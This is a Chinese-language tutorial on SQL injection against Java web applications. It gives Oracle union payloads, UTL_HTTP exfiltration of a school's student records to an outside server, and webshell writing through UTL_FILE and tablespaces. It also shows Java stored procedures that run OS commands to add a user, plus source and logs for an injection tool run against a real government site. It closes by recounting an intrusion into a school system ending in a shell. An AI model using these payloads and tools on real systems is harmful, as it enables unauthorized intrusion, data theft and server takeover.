攻击JavaWeb应用——4、SQL注入(下)

防止常见Web攻击:SQL注入、XSS、CSRF 在JavaWeb开发中,防止SQL注入、XSS和CSRF攻击是确保应用安全的关键。通过采用适当的防御策略,如使用PreparedStatement、输入验证和清理、设置HTTP安全头、使用CSRF令牌等,可以显著降低应用遭受这些攻击的风险。此外,定期进行安全审计和测试,以及使用自动化安全测试工具,也是确保应用长期安全的重要手段。希望本文能帮助开发者更好地理解这些常见的Web攻击方式,并在实际开发中采取有效的防御措施,确保应用的安全性和稳定性。 阅读详情

注:这一节主要是介绍Oracle和SQL注入工具相关,本应该是和前面的Mysql一起但是由于章节过长了没法看,所以就分开了。

0x00 Oracle

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。
Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。这一次我们依旧使用上面的代码,数据库结构平移到Oracle上去,数据库名用的默认的orcl,字段"corps_desc" 从text改成了VARCHAR2(4000),JSP内的驱动和URL改成了对应的Oracle。  

Jsp页面代码:

开始注入:

Union +order by 永远都是最快捷最实用的,而盲注什么的太费时费力了。

依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。

分别提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1 和?id=1 AND 1=12 得到的页面明显不一致,1=12页面没有任何数据,即1=12为false没查询到任何结果。  

http://localhost/SqlInjection/index.jsp?id=1 AND 1=12

提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 页面正常,提交:?id=1 ORDER BY 5--报错说明字段数肯定是4。

Order by 5爆出的错误信息:  


使用union 进行联合查询:
Oracle的dual表:

dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录,在Oracle注入中用途可谓广泛。

Oracle union 查询 tips:

Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的

SELECT * from "corps" where "id" = 1 
当中查询的字段类型一致。我们已知查询的第二个字段是corps_name,对应的数据类型是:VARCHAR2(100),也就是字符型。当我们传入整型的数字时就会报错。比如当我们提交union查询时提交如下SQL注入语句:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--


Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型的时候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
当已知第一个字段是整型的时候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--

SQL执行后的占位效果:


根据我们之前注入Mysql的经验,我们现在要尽可能多的去获取服务器信息和数据库,比如数据库版本、权限等。

在讲Mysql注入的时候已经说道要合理利用工具,在Navicat客户端执行select * from session_roles结果:  


Oracle查询分页tips:

不得不说Oracle查询分页的时候没有Mysql那么方便,Oracle可不能limit 0,1而是通过三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”取交集不就是1么?我数学5分党,如果有关数学方面的东西讲错了各位莫怪):

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 

在Oracle里面没有类似于Mysql的group_concat,用分页去取数据,不过有更加简单的方法。

用UNION SELECT 查询:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--

不过我得告诉你,UNION SELECT查询返回的是多个结果,而在正常的业务逻辑当中我们取一条新闻是直接放到对应的实体当中的,比如我们查询的wooyun的厂商表:corps,那么我们做查询的很有可能是抽象出一个corps对象,在DAO层取得到单个的参数结果集,如果有多个要么报错,要么取出第一条。然后再到controller层把查询的结果放到请求里面。最终在输出的时候自然也就只能拿到单个的corps实体,这也是视图层只做展示把业务逻辑和视图分开的好处之一,等讲到MVC的时候试着给不懂的朋友解释一下。

再来看一下我们丑陋的在页面展示数据的代码:  


接下来的任务就是收集信息了,上面我们已经收集到数据库所有的用户的用户名和我们当前用户的权限。

获取所有的数据库表:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
连接符我用的是-转换成编码也就是45 

已列举出所有的表名: 



当UNION ALL SELECT 不起作用的时候我们可以用上面的Oracle分页去挨个读取,缺点就是效率没有UNION ALL SELECT高。

信息版本获取:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—

获取启动Oracle的用户名:

select SYS_CONTEXT ('USERENV','OS_USER') from dual;

服务器监听IP:

select utl_inaddr.get_host_address from dual;

服务器操作系统:

select member from v$logfile where rownum=1;
当前连接用户:

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
获取当前连接的数据库名:

select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;

关于获取敏感的表和字段说明:

1、获取所有的字段schema:

select * from user_tab_columns
2、获取当前用户权限下的所有的表:

SELECT * FROM  User_tables
上述SQL通过添加Where条件就能获取到常见注入的敏感信息,请有心学习的同学按照上面的MYSQL注入时通过information_schema获取敏感字段的方式去学习user_tab_columns和FROM User_tables表。 



Oracle高级注入:
1、友情备份

在讲Mysql的时候提到过怎么在注入点去构造SQL语句去实现友情备份,在去年注入某大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错就是利用Oracle的utl_http包。Oracle的确是非常的强大,utl_http就能过直接对外发送Http请求。我们可以利用utl_http去SQL注入,那么我们一样可以利用utl_http去做友情备份。

构建以下SQL注入语句:

http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
UTL_HTTP 会带着查询数据库的结果去请求我们的URL,也就是我注入点上写的URL。Tips:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。只用在浏览器上请求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。


使用UTL_HTTP友情备份效果图: 


utl_http在注入的时候怎么去利用同理,由于我也没有去深入了解utl_http或许他还有其他的更实用的功能等待你去发现。

使用UTL_FILE友情备份:

创建目录:

create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina'; 

导出数据到文件:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
        for rec in (select * from admin) loop
            utl_file.put_line(frw,rec.id||','||rec.password);
        end loop;
        utl_file.fclose(frw);
    end;
/

效果图: 


GetShell

之前的各种Oracle文章似乎都提过怎样去getshell,其实方法倒是有的。但是在Java里面你要想拿到WEB的根路径比那啥还难。但是PHP什么的就不一样了,PHP里面爆个路径完全是家常便饭。因为数据库对开发语言的无关系,所以或许我们在某些场合下以下的getshell方式也是挺不错的。

在有Oracle连接权限没有webshell时候通过utl_file获取shell

(当然用户必须的具有创建DIRECTORY的权限):


执行:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';

当然了as后面跟的肯定是你的WEB路径。

执行以下SQL语句:

创建目录:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
写入shell到指定目录:注意directory在这里一定要大写:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
        utl_file.put_line(frw,'hello world.');
        utl_file.fclose(frw);
    end;
/


在低权限下getshell: 


执行以下SQL创建表空间:

create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;

这方法是能写文件,但是好像没发现我的hello world,难道是我打开方式不对?

Oracle SQLJ编译执行Java代码:

众所周知,由于sun那只土鳖不争气居然被oracle给收购了。

不过对Oracle来说的确是有有不少优势的。

SQLJ是一个与Java编程语言紧密集成的嵌入式SQL的版本,这里"嵌入式SQL"是用来在其宿主通用编程语言如C、C++、Java、Ada和COBOL)中调用SQL语句。SQL翻译器用SQLJ运行时库中的调用来替代嵌入式SQLJ语句,该运行时库真正实现SQL操作。这样翻译的结果是得到一个可使用任何Java翻译器进行编译的Java源程序。一旦Java源程序被编译,Java执行程序就可在任何数据库上运行。SQLJ运行环境由纯Java实现的小SQLJ运行库(小,意指其中包括少量的代码)组成,该运行时库转而调用相应数据库的JDBC驱动程序。

SQLJ可以这样玩:首先创建一个类提供一个静态方法:  

其中的getShell是我们的方法名,p和才是参数,p是路径,而c是要写的文件内容。在创建Java存储过程的时候方法类型必须是静态的static

执行以下SQL创建Java储存过程:

create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
创建函数:

create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';

创建存储过程:

create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;

授予Java权限:

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
写webshell:

exec :x:=getShell('d:/3.txt','selina');

SQLJ执行cmd命令:

方法这里和上面几乎大同小异,一样的提供一个静态方法,然后去创建一个存储过程。然后调用Java里的方法去执行命令。

创建Java存储过程:

create or replace and compile java source named "Execute" as   
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Execute {
    public static void executeCmd(String c) {
        try {
            String l="",t;
            BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
            while((t=br.readLine())!=null){
                l+=t+"\n";
            }
            System.out.println(l);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

创建存储过程executeCmd:

create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
执行存储过程:

exec executeCmd('net user selina 123 /add');


上面提供的命令执行和getshell创建方式对换一下就能回显了,如果好不清楚怎么让命令执行后回显可以参考:

http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833

一个不错的SQLJ的demo(犀利的 oracle 注入技术)。

http://huaidan.org/archives/2437.html

0x01 自动化的SQL注入工具实现


通过上面我们对数据库和SQL注入的熟悉,现在可以自行动手开发注入工具了吧?

很久以前非常粗糙的写了一个SQL注入工具类,就当作demo给大家做个演示了。

仅提供核心代码,案例中的gov网站请勿非常攻击!

简单的SQL Oder by 注入实现的方式核心代码:

1、分析

URLpublic static void AnalysisUrls(String site) throws Exception

这个方法主要是去分析URL的组成是否静态化等。

2、检测是否存在:

这个做的粗糙了些,只是通过请求提交不同的SQL注入语句去检测页面返回的情况:

/**
     * 分析SQL参数是否存在注入
     * @param str
     */
    public static void  AnalysisUrlDynamicParamSqlInjection(String str[]) {
        Map<String,Object> content,content2;
        sqlKey = new ArrayList<Object>();
        content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
        int len1 = content.get("content").toString().length();//原始请求的response长度
        boolean typeIsNumber = false;
        String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需要检查的对象
        for (int i = 0; i < str.length; i++) {
            typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
            for (int j = 0; j < c1.length; j++) {
                content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
                if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
                    existsInjection = true;
                    sqlKey.add(str[i]);
                    break ;
                }
            }
        }
        if (existsInjection) {
//              System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found.");
            getSelectColumnCount(str);
            getDatabaseInfo();
        }
    }

检测过程主要发送了几次请求,一次正常的请求和N次带有SQL注入的请求。如果SQL注入的请求和正常请求的结果不一致(有不可控因素,比如SQLMAP的实现方式就有去计算页面是否稳定,从而让检测出来的结果更加准确)就可能是存在SQL注入。

日志如下:

url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
获取字段数主要是通过:

/**
     * 获取查询字段数
     * @param str
     */
    public static int getSelectColumnCount(String str[]){
        Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
        int len1 = sb.get("content").toString().length();//原始请求的response长度
        int count = -1;
        for (Object o : sqlKey) {
            count = getSbCount(o.toString(), len1);//计算字段
        }
        return count;
    }

/**
     *获取order by 字段数
     * @param key
     * @param len1
     * @return
     */
    public static int getSbCount(String key,int len1){
        System.out.println("-----------------------end:"+end+"-----------------------------");
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
        if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
            System.out.println("index:"+end);
            start = end;
            for (int i = start; i < 2*start+1; i++) {
                System.out.println("************开始精确匹配*****************");
                Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
                if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
                    System.out.println("order by 字段数为:"+end);
                    sbCount = end;//设置字段长度为当前检测出来的长度
                    return index = end;
                }else {
                    end++;
                }
            }
        }else {
            end = end/2;
            getSbCount(key, len1);
        }
        return index;
    }
利用检测是否存在SQL注入的原理同样能过检测出查询的字段数。我们通过二分去order一个by 一个数然后去请求分析页面一致性。然后不停的去修改数值最终结果相等即可获得字段数。上面的分析的代码挺简单的,有兴趣的同学自己去看。日志如下:

************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+15+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+22+%23
order by 字段数为:21
skey:id=148
在知道了字段数后我们就可以通过构建关键字的方式去获取SQL注入查询的结果,我们的目的无外乎就是不停的递交SQL注入语句,把我们想要得到的数据库的信息展示在页面,然后我们通过自定义的关键字去取回信息到本地:

/**
     * 测试,获取数据库表信息
     */
    public static void getDatabaseInfo(){
        String skey = sqlKey.get(0).toString();
        System.out.println("skey:"+skey);
        StringBuilder union = new StringBuilder();
        for (int i = 0; i < sbCount; i++) {
            union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
        }
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
        String rs = ((String)sb.get("content"));
        String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
        String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
        String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
        System.err.println("user:"+user);
        System.err.println("version:"+version);
        System.err.println("database:"+database);
    }
代码执行的日志:

url:http://www.tchjbh.gov.cn/news_display.php
param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
user:[email protected]
version:5.1.56-community
database:tchjbh

0x02 模拟SQL注入分析注入工具原理


下面这个演示是针对想自己拓展上面写的SQL注入工具的同学。这次我才用的是PHP语言去弄清SQL注入工具的具体实现。数据库采用的是wordpress的结构,数据库结构如下,建议在本地先安装好wordpress任意版本:


代码如下:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<style>
    .main{margin:0 auto;width:980px;border:1px dashed }
    .title{line-height:25px; text-align:center; font-size:18px; font-weight:500}
    pre{text-indent: 2em; margin:20px auto 10px 20px;}
</style>
<title></title>
</head>
<body>
<div class="main">
<?php
    extract($_GET);//to Map
    if(!empty($id)){
        $con = mysql_connect("localhost","root","111111");//连接数据库
        $db_selected = mysql_select_db("wps",$con);//选择数据库
        mysql_query("SET NAMES 'GBK'"); //设置编码
        $sql = "SELECT * from wps_posts where ID = ".$id;//查询文章语句
        echo  "<font color=red>".$sql."</font>";//打印SQL

        /*截取SQL注入工具的SQL*/
         $paths="getsql.txt";//定义要生成的html路径
         $handles=fopen($paths,"a");//以可写方式打开路径
         fwrite($handles,$sql."\t\t\n\n\n");//写入内容
         fclose($handles);//关闭打开的文件

        $result = mysql_query($sql,$con);//执行查询
        /*结果遍历*/
        while ($row=mysql_fetch_array($result)) {
            echo  "<div class=title>".$row['post_title']."</div>";//把结果输出到界面
            echo  "<pre>".$row['post_content']."</pre>";//文章内容
        }
        mysql_close($con);//关闭数据库连接
    }
?>
</div>
</body>
</html>

建立好数据库和表之后访问(由于我采用的是自己的wp博客,所有有大量的测试数据如果没有数据建议安装个wordpress方便以后的测试): 

SQL注入测试:


让我们来看下m4xmysql究竟在SQL注入点提交了那些数据,点击start我们的PHP程序会自动在同目录下生成一个getsql.txt打开后发现我们截获到如下SQL:




看起来不算多,因为我没有自动换行,以上是在获取数据库相关信息。

让我来带着大家翻译这些SQL都做了些什么:

/*检测该URL是否存在SQL注入*/
SELECT * from wps_posts where ID = 739 and 1=0      
SELECT * from wps_posts where ID = 739 and 1=1      

/*这条sql开始查询的字段数,请注意是查询的字段数而不是表的字段数!*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--       

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--     
/*........................省去其中的无数次字段长度匹配尝试................................*/

/*匹配出来SELECT * from wps_posts where ID = 739一共查询了10个字段*/
/*那么他是怎么判断出字段数10就是查询的长度的呢?答案很简单提交以下SQL占位10个页面显示正常而前面提交的都错误所以得到的数量自然就是10了。获取请求的http status或许应该就行了*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
以上的SQL完成了注入点( http://localhost/Test/1.php?id=739执行的 SELECT * from wps_posts where ID = 739)的类型、是否存在和字段数量的检测 里面有许多的0x5b2f68345d转换过来其实就是占位符,为了让工具扒下源代码后能够在页面类找到具有特殊意义的字符并进行截取:


 如果你足够聪明或仔细会发现他这样写有点浪费资源,因为他的order 是从1一直递增到争取的长度的假如字段特别长(一般情况下还是很少出现的)可能要执行几十个甚至是更多的HTTP请求,如果这里使用二分法或许可以很好的解决吧。

我们接着往下看(还是点击start后发送的请求):


这玩意到底是什么神秘的东西呢?我们不妨在Navicat和FireFox里面瞅瞅:


FireFox执行的结果:


让我们来还原上面的那句废话:

select file_priv from mysql.user where user=root

上面很长很臭的SQL翻译过来就这么短的一句查询的结果就一个得到的信息就是:

有没有file_priv权限。而file_priv应该就是文件读写权限了(没看手册,应该八九不离十)。如果不是Y是N那就不能load_file 、into outfile、dumpfile咯。

接着看下一条SQL:



/*[h4ckinger]asim[/h4ckinger] 这段SQL看不出来有什么实际意义,没有对数据库进行任何操作。对应的SQL是:

select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
没用的东西不管下一条也是点击start后的最后一条SQL同上。 那么我们可以知道点击注入点检测程序一共做了:

1、是否存在注入点
2、注入点的字段数量
3、注入点获取Mysql的版本信息、用户信息、数据库名等。
4、是否有file_priv也就是是否能够读写硬盘文件。

程序逻辑分析:

1、获取URL是否存在
2、获取URL地址并进行参数分析
3、提交and 1=1 and 1=2进行布尔判断,获取服务器的响应码判断是否存在SQL注入。
4、提交占位符获取注入点查询的字段数尝试order by 注入。
5、提交MYSQL自带的函数获取MYSQL版本信息、用户信息、数据库名等信息。
6、检测是否有load_file和outfile、dumpfile等权限。

SQL注入之获取所有用户表:

1、Mssql:select name from master.dbo.sysdatabase
2、Mysql:show databases
3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
4、Oracle:SELECT * FROM ALL_TABLES

0x03 简单实战


本次实战并没有什么难度,感觉找一个能把前面的都串起来的demo太难了。本次实战的目标是某中学,网站使用JavaWeb开发。去年的时候通过POST注入绕过了GET的防注入检测。对其和开发商的官网都做了SQL注入检测,然后加了开发商的QQ通知修补。



前不久再去测试的时候发现漏洞已经被修补了,围观了下开发商后发现其用的是glassfish:



尝试从服务器弱口令入口了入手但是失败了glassfish的默认管理帐号是admin密码是adminadmin,如果能过登录glassfish的后台可以直接部署一个war去getshell。 


由于没有使用如Struts2之类的MVC框架所以google了下他的jsp,-News参数表示不希望在搜索结果中包含带有-News的结果。
 

通过GOOGLE找到一处flash上传点,值得注意的是在项目当中上传下载一般作为一个共有的业务,所以可能存在一致性也就是此处要是上传不成功恐怕到了后台也不会成功。企图上传shell:


上传文件:

因为tamper data 没法拦截flash请求,所以通过chrome的拦截记录开始构建上传:

<html><head>
<title></title></head>
<body>
<form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post">
<input name="filedata" type="file"><br>
<input type="submit" value="上传文件">
</form>
</body>
</html>


好吧支持txt.html.exe什么的先来个txt: 


一般来说我比较关注逻辑漏洞,比如找回密码,查看页面源码后还真就发现了点猫腻有DWR框架。

DWR框架:

DWR就是一个奇葩,人家都是想着怎么样去解耦,他倒好直接把js和后端java给耦合在一起了。DWR(Direct Web Remoting)是一个用于改善web页面与Java类交互的远程服务器端Ajax开源框架,可以帮助开发人员开发包含AJAX技术的网站。它可以允许在浏览器里的代码使用运行在WEB服务器上的JAVA方法,就像它就在浏览器里一样。


再次利用chrome抓网络请求,居然发现后台把用户的密码都给返回了,这不科学啊: 



与此同时我把google到的动态连接都打开,比较轻易的就发现了一处SQL注入漏洞,依旧用POST提交吧,以免他的防注入又把我拦截下来了(再次提醒普通的防注入普遍防的是GET请求,POST过去很多防注入都傻逼了,Jsp里面request.getParameter("parameter")GET和POST方式提交的参数都能过获取到的): 


破MD5,进后台改上传文件扩展名限制拿shell都一气呵成了:


GETSHELL: 


可能实战写的有点简单了一点,凑合这看吧。由于这是一套通用系统,很轻易的通过该系统漏洞拿到很多学校的shell,截图中可能有漏点,希望看文章的请勿对其进行攻击!

在JDBC中使用preparedStatement防止SQL注入 文章目录一、SQL注入二、SQL注入实例登录场景:情形1:(免账号登录)情形2:(删除数据库)三、防止SQL注入方法四、登录项目1、用户表2、项目结构3、登录实现4、登录测试 一、SQL注入 SQL注入是一种比较常见的网路攻击方式,一些恶意人员在需要用户输入的地方,恶意输入SQL语句的片段,通过SQL语句,实现无账号登录,甚至篡改数据库。 二、SQL注入实例 登录场景: 在一个登录界面,要求用户输... 阅读详情

相关推荐

SQL注入攻击环境-javaweb

